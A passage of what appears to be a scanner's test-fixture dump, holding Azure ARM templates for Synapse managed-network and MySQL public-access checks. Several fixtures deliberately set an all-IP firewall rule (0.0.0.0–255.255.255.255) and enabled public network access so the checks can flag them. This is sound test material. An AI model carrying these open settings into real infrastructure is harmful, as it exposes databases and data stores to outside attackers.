\"01:00 PM ( 13:00 )\",\n        \"02:00 PM ( 14:00 )\",\n        \"03:00 PM ( 15:00 )\",\n        \"04:00 PM ( 16:00 )\",\n        \"05:00 PM ( 17:00 )\",\n        \"06:00 PM ( 18:00 )\",\n        \"07:00 PM ( 19:00 )\",\n        \"08:00 PM ( 20:00 )\",\n        \"09:00 PM ( 21:00 )\",\n        \"10:00 PM ( 22:00 )\",\n        \"11:00 PM ( 23:00 )\"\n      ],\n      \"metadata\": {\n        \"description\": \"Time of day when the data warehouse will be paused\"\n      }\n    }\n  },\n  \"variables\": {\n    \"synapseName\": \"[toLower(concat(parameters('companyTla'),parameters('deploymentType')))]\",\n    \"dlsName\": \"[toLower(concat('dls',parameters('companyTla'),parameters('deploymentType')))]\",\n    \"dlsFsName\": \"[toLower(concat(variables('dlsName'),'fs1'))]\",\n    \"sqlPoolName\": \"[toLower(concat(variables('workspaceName'),'p1'))]\",\n    \"workspaceName\": \"[toLower(concat(variables('synapseName'),'ws1'))]\",\n    \"sparkPoolName\": \"[toLower('synasp1')]\",\n    \"logicApps\": [\n      \"SynapsePauseSchedule\",\n      \"SynapseResumeSchedule\"\n    ]\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"logicAppPauseDeployment\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"templatelink\": {\n          \"uri\": \"[uri(parameters('_artifactsLocation'), concat('nestedtemplates/pausetemplate.json', parameters('_artifactsLocationSASToken')))]\"\n        },\n        \"parameters\": {\n          \"logicAppName\": {\n            \"value\": \"[variables('logicApps')[0]]\"\n          },\n          \"Frequency\": {\n            \"value\": \"[parameters('Frequency')]\"\n          },\n          \"companyTla\": {\n            \"value\": \"[parameters('companyTla')]\"\n          },\n          \"deploymentType\": {\n            \"value\": \"[parameters('deploymentType')]\"\n          },\n          \"TIME_ZONE\": {\n            \"value\": \"[parameters('TIME_ZONE')]\"\n          },\n          \"PauseTime\": {\n            \"value\": \"[parameters('PauseTime')]\"\n          },\n          \"location\": {\n            \"value\": \"[parameters('location')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"logicAppResumeDeployment\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"templatelink\": {\n          \"uri\": \"[uri(parameters('_artifactsLocation'), concat('nestedtemplates/resumetemplate.json', parameters('_artifactsLocationSASToken')))]\"\n        },\n        \"parameters\": {\n          \"logicAppName\": {\n            \"value\": \"[variables('logicApps')[1]]\"\n          },\n          \"Frequency\": {\n            \"value\": \"[parameters('Frequency')]\"\n          },\n          \"companyTla\": {\n            \"value\": \"[parameters('companyTla')]\"\n          },\n          \"deploymentType\": {\n            \"value\": \"[parameters('deploymentType')]\"\n          },\n          \"TIME_ZONE\": {\n            \"value\": \"[parameters('TIME_ZONE')]\"\n          },\n          \"ResumeTime\": {\n            \"value\": \"[parameters('ResumeTime')]\"\n          },\n          \"location\": {\n            \"value\": \"[parameters('location')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-06-01\",\n      \"name\": \"[variables('dlsName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"accessTier\": \"Hot\",\n        \"supportsHttpsTrafficOnly\": true,\n        \"isHnsEnabled\": true\n      },\n      \"resources\": [\n        {\n          \"name\": \"[concat('default/', variables('dlsFsName'))]\",\n          \"type\": \"blobServices/containers\",\n          \"apiVersion\": \"2019-06-01\",\n          \"dependsOn\": [\n            \"[variables('dlsName')]\"\n          ],\n          \"properties\": {\n            \"publicAccess\": \"None\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"dependsOn\": [\n        \"[variables('dlsName')]\",\n        \"[variables('dlsFsName')]\"\n      ],\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"[reference(variables('dlsName')).primaryEndpoints.dfs]\",\n          \"filesystem\": \"[variables('dlsFsName')]\"\n        },\n        \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"sqlAdministratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"managedVirtualNetwork\": \"default\"\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[equals(parameters('allowAllConnections'),'true')]\",\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"allowAll\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [ \"[variables('workspaceName')]\" ],\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"AllowAllWindowsAzureIps\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [ \"[variables('workspaceName')]\" ],\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"0.0.0.0\"\n          }\n        },\n        {\n          \"type\": \"managedIdentitySqlControlSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"default\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [ \"[variables('workspaceName')]\" ],\n          \"properties\": {\n            \"grantSqlControlToManagedIdentity\": {\n              \"desiredState\": \"Enabled\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"name\": \"[concat(variables('workspaceName'), '/', variables('sqlPoolName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"dependsOn\": [\n        \"[variables('workspaceName')]\"\n      ],\n      \"properties\": {\n        \"createMode\": \"Default\",\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\"\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('metadataSync')]\",\n          \"type\": \"metadataSync\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"config\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [\n            \"[variables('sqlPoolName')]\"\n          ],\n          \"properties\": {\n            \"Enabled\": \"[parameters('metadataSync')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"condition\": \"[equals(parameters('sparkDeployment'),'true')]\",\n      \"type\": \"Microsoft.Synapse/workspaces/bigDataPools\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"name\": \"[concat(variables('workspaceName'), '/', variables('sparkPoolName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[variables('workspaceName')]\"\n      ],\n      \"properties\": {\n        \"nodeCount\": 5,\n        \"nodeSizeFamily\": \"MemoryOptimized\",\n        \"nodeSize\": \"[parameters('sparkNodeSize')]\",\n        \"autoScale\": {\n          \"enabled\": true,\n          \"minNodeCount\": 3,\n          \"maxNodeCount\": 40\n        },\n        \"autoPause\": {\n          \"enabled\": true,\n          \"delayInMinutes\": 15\n        },\n        \"sparkVersion\": \"2.4\"\n      }\n    },\n    {\n      \"scope\": \"[concat('Microsoft.Storage/storageAccounts/', variables('dlsName'))]\",\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2020-04-01-preview\",\n      \"name\": \"[guid(uniqueString(variables('dlsName')))]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[variables('workspaceName')]\"\n      ],\n      \"properties\": {\n        \"roleDefinitionId\": \"[resourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n        \"principalId\": \"[reference(resourceId('Microsoft.Synapse/workspaces', variables('workspaceName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n        \"principalType\": \"ServicePrincipal\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"MSIRBACOnResourceGroup0\",\n      \"dependsOn\": [\n        \"logicAppResumeDeployment\",\n        \"logicAppPauseDeployment\"\n      ],\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"templatelink\": {\n          \"uri\": \"[uri(parameters('_artifactsLocation'), concat('nestedtemplates/logicapproleassignments.json', parameters('_artifactsLocationSASToken')))]\"\n        },\n        \"parameters\": {\n          \"logicAppName\": {\n            \"value\": \"[variables('logicApps')[0]]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2020-06-01\",\n      \"name\": \"MSIRBACOnResourceGroup1\",\n      \"dependsOn\": [\n        \"logicAppResumeDeployment\",\n        \"logicAppPauseDeployment\"\n      ],\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"templatelink\": {\n          \"uri\": \"[uri(parameters('_artifactsLocation'), concat('nestedtemplates/logicapproleassignments.json', parameters('_artifactsLocationSASToken')))]\"\n        },\n        \"parameters\": {\n          \"logicAppName\": {\n            \"value\": \"[variables('logicApps')[1]]\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceEnablesManagedVirtualNetworks/pass.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.1\",\n    \"parameters\": {\n        \"name\": {\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"defaultDataLakeStorageAccountName\": {\n            \"type\": \"string\"\n        },\n        \"defaultDataLakeStorageFilesystemName\": {\n            \"type\": \"string\"\n        },\n        \"sqlAdministratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"sqlAdministratorLoginPassword\": {\n            \"type\": \"secureString\",\n            \"defaultValue\": \"\"\n        },\n        \"setWorkspaceIdentityRbacOnStorageAccount\": {\n            \"type\": \"bool\"\n        },\n        \"createManagedPrivateEndpoint\": {\n            \"type\": \"bool\"\n        },\n        \"defaultAdlsGen2AccountResourceId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"azureADOnlyAuthentication\": {\n            \"type\": \"bool\"\n        },\n        \"allowAllConnections\": {\n            \"type\": \"bool\",\n            \"defaultValue\": true\n        },\n        \"managedVirtualNetwork\": {\n            \"type\": \"string\",\n            \"allowedValues\": [\n                \"default\",\n                \"\"\n            ]\n        },\n        \"tagValues\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"publicNetworkAccess\": {\n            \"type\": \"string\",\n            \"allowedValues\": [\n                \"Enabled\",\n                \"Disabled\"\n            ]\n        },\n        \"storageSubscriptionID\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[subscription().subscriptionId]\"\n        },\n        \"storageResourceGroupName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().name]\"\n        },\n        \"storageLocation\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[resourceGroup().location]\"\n        },\n        \"storageRoleUniqueId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"isNewStorageAccount\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"isNewFileSystemOnly\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"adlaResourceId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"managedResourceGroupName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"storageAccessTier\": {\n            \"type\": \"string\"\n        },\n        \"storageAccountType\": {\n            \"type\": \"string\"\n        },\n        \"storageSupportsHttpsTrafficOnly\": {\n            \"type\": \"bool\"\n        },\n        \"storageKind\": {\n            \"type\": \"string\"\n        },\n        \"minimumTlsVersion\": {\n            \"type\": \"string\"\n        },\n        \"storageIsHnsEnabled\": {\n            \"type\": \"bool\"\n        },\n        \"userObjectId\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"setSbdcRbacOnStorageAccount\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"setWorkspaceMsiByPassOnStorageAccount\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"workspaceStorageAccountProperties\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"managedVirtualNetworkSettings\": {\n            \"type\": \"object\"\n        }\n    },\n    \"variables\": {\n        \"storageBlobDataContributorRoleID\": \"ba92f5b4-2d11-453d-a403-e96b0029c9fe\",\n        \"defaultDataLakeStorageAccountUrl\": \"[concat('https://', parameters('defaultDataLakeStorageAccountName'), '.dfs.core.windows.net')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"2021-06-01-preview\",\n            \"name\": \"pass\",\n            \"location\": \"[parameters('location')]\",\n            \"type\": \"Microsoft.Synapse/workspaces\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"defaultDataLakeStorage\": {\n                    \"accountUrl\": \"[variables('defaultDataLakeStorageAccountUrl')]\",\n                    \"filesystem\": \"[parameters('defaultDataLakeStorageFilesystemName')]\",\n                    \"resourceId\": \"[parameters('defaultAdlsGen2AccountResourceId')]\",\n                    \"createManagedPrivateEndpoint\": \"[parameters('createManagedPrivateEndpoint')]\"\n                },\n                \"managedVirtualNetwork\": \"[parameters('managedVirtualNetwork')]\",\n                \"managedResourceGroupName\": \"[parameters('managedResourceGroupName')]\",\n                \"publicNetworkAccess\": \"[parameters('publicNetworkAccess')]\",\n                \"managedVirtualNetworkSettings\": \"[parameters('managedVirtualNetworkSettings')]\",\n                \"azureADOnlyAuthentication\": \"[parameters('azureADOnlyAuthentication')]\",\n                \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n                \"sqlAdministratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\"\n            },\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('allowAllConnections')]\",\n                    \"apiVersion\": \"2021-06-01-preview\",\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.Synapse/workspaces/', parameters('name'))]\"\n                    ],\n                    \"location\": \"[parameters('location')]\",\n                    \"name\": \"allowAll\",\n                    \"properties\": {\n                        \"startIpAddress\": \"0.0.0.0\",\n                        \"endIpAddress\": \"255.255.255.255\"\n                    },\n                    \"type\": \"firewallrules\"\n                }\n            ],\n            \"dependsOn\": [\n                \"[concat('Microsoft.Storage/storageAccounts/', parameters('defaultDataLakeStorageAccountName'))]\",\n                \"[concat('Microsoft.Resources/deployments/', parameters('defaultDataLakeStorageFilesystemName'))]\"\n            ],\n            \"tags\": \"[parameters('tagValues')]\"\n        },\n        {\n            \"condition\": \"[parameters('setWorkspaceIdentityRbacOnStorageAccount')]\",\n            \"apiVersion\": \"2019-05-01\",\n            \"name\": \"StorageRoleDeploymentResource\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('storageSubscriptionID')]\",\n            \"resourceGroup\": \"[parameters('storageResourceGroupName')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Synapse/workspaces/', parameters('name'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"parameters\": {},\n                    \"variables\": {},\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n                            \"apiVersion\": \"2018-09-01-preview\",\n                            \"name\": \"[concat(parameters('defaultDataLakeStorageAccountName'), '/Microsoft.Authorization/',  guid(concat(resourceGroup().id, '/', variables('storageBlobDataContributorRoleID'), '/', parameters('name'), '/', parameters('storageRoleUniqueId'))))]\",\n                            \"location\": \"[parameters('storageLocation')]\",\n                            \"properties\": {\n                                \"roleDefinitionId\": \"[resourceId('Microsoft.Authorization/roleDefinitions', variables('storageBlobDataContributorRoleID'))]\",\n                                \"principalId\": \"[reference(concat('Microsoft.Synapse/workspaces/', parameters('name')), '2021-06-01', 'Full').identity.principalId]\",\n                                \"principalType\": \"ServicePrincipal\"\n                            }\n                        },\n                        {\n                            \"condition\": \"[parameters('setSbdcRbacOnStorageAccount')]\",\n                            \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n                            \"apiVersion\": \"2018-09-01-preview\",\n                            \"name\": \"[concat(parameters('defaultDataLakeStorageAccountName'), '/Microsoft.Authorization/',  guid(concat(resourceGroup().id, '/', variables('storageBlobDataContributorRoleID'), '/', parameters('userObjectId'), '/', parameters('storageRoleUniqueId'))))]\",\n                            \"properties\": {\n                                \"roleDefinitionId\": \"[resourceId('Microsoft.Authorization/roleDefinitions', variables('storageBlobDataContributorRoleID'))]\",\n                                \"principalId\": \"[parameters('userObjectId')]\",\n                                \"principalType\": \"User\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('setWorkspaceMsiByPassOnStorageAccount')]\",\n            \"apiVersion\": \"2019-05-01\",\n            \"name\": \"UpdateStorageAccountNetworkingAcls\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('storageSubscriptionID')]\",\n            \"resourceGroup\": \"[parameters('storageResourceGroupName')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Synapse/workspaces/', parameters('name'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"parameters\": {},\n                    \"variables\": {},\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Storage/storageAccounts\",\n                            \"apiVersion\": \"2021-01-01\",\n                            \"location\": \"[parameters('storageLocation')]\",\n                            \"name\": \"[parameters('defaultDataLakeStorageAccountName')]\",\n                            \"properties\": \"[parameters('workspaceStorageAccountProperties')]\"\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('isNewStorageAccount')]\",\n            \"type\": \"Microsoft.Storage/storageAccounts\",\n            \"name\": \"[parameters('defaultDataLakeStorageAccountName')]\",\n            \"apiVersion\": \"2021-01-01\",\n            \"location\": \"[parameters('storageLocation')]\",\n            \"properties\": {\n                \"accessTier\": \"[parameters('storageAccessTier')]\",\n                \"supportsHttpsTrafficOnly\": \"[parameters('storageSupportsHttpsTrafficOnly')]\",\n                \"isHnsEnabled\": \"[parameters('storageIsHnsEnabled')]\",\n                \"minimumTlsVersion\": \"[parameters('minimumTlsVersion')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('storageAccountType')]\"\n            },\n            \"kind\": \"[parameters('storageKind')]\",\n            \"tags\": {},\n            \"resources\": [\n                {\n                    \"condition\": \"[parameters('isNewStorageAccount')]\",\n                    \"name\": \"[concat('default/', parameters('defaultDataLakeStorageFilesystemName'))]\",\n                    \"type\": \"blobServices/containers\",\n                    \"apiVersion\": \"2021-01-01\",\n                    \"properties\": {\n                        \"publicAccess\": \"None\"\n                    },\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.Storage/storageAccounts/', parameters('defaultDataLakeStorageAccountName'))]\"\n                    ]\n                }\n            ]\n        },\n        {\n            \"condition\": \"[parameters('isNewFileSystemOnly')]\",\n            \"apiVersion\": \"2019-05-01\",\n            \"name\": \"[parameters('defaultDataLakeStorageFilesystemName')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('storageSubscriptionID')]\",\n            \"resourceGroup\": \"[parameters('storageResourceGroupName')]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"parameters\": {},\n                    \"variables\": {},\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Storage/storageAccounts/blobServices/containers\",\n                            \"name\": \"[concat(parameters('defaultDataLakeStorageAccountName'), '/default/', parameters('defaultDataLakeStorageFilesystemName'))]\",\n                            \"apiVersion\": \"2021-01-01\",\n                            \"properties\": {\n                                \"publicAccess\": \"None\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ],\n    \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\",\n            \"defaultValue\": true\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {\n                \"type\": \"AzureKeyVault\",\n                \"primaryUserAssignedIdentityId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike\",\n                \"primaryKeyURI\": \"https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2\"\n            }\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n          \"type\": \"Microsoft.DBforMySQL/servers\",\n          \"apiVersion\": \"2017-12-01\",\n          \"name\": \"fail\",\n          \"location\": \"string\",\n          \"tags\": {\n            \"tagName1\": \"tagValue1\",\n            \"tagName2\": \"tagValue2\"\n          },\n            \"{customized property}\": \"string\",\n          \"sku\": {\n            \"capacity\": \"int\",\n            \"family\": \"string\",\n            \"name\": \"string\",\n            \"size\": \"string\",\n            \"tier\": \"string\"\n          },\n          \"identity\": {\n            \"type\": \"SystemAssigned\"\n          },\n          \"properties\": {\n            \"infrastructureEncryption\": \"string\",\n            \"minimalTlsVersion\": \"string\",\n            \"publicNetworkAccess\": \"enabled\",\n            \"sslEnforcement\": \"string\",\n            \"storageProfile\": {\n              \"backupRetentionDays\": \"int\",\n              \"geoRedundantBackup\": \"string\",\n              \"storageAutogrow\": \"string\",\n              \"storageMB\": \"int\"\n            },\n            \"version\": \"string\",\n            \"createMode\": \"string\"\n          }\n                },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_TestMySQLPublicAccessDisabled/fail2.json",
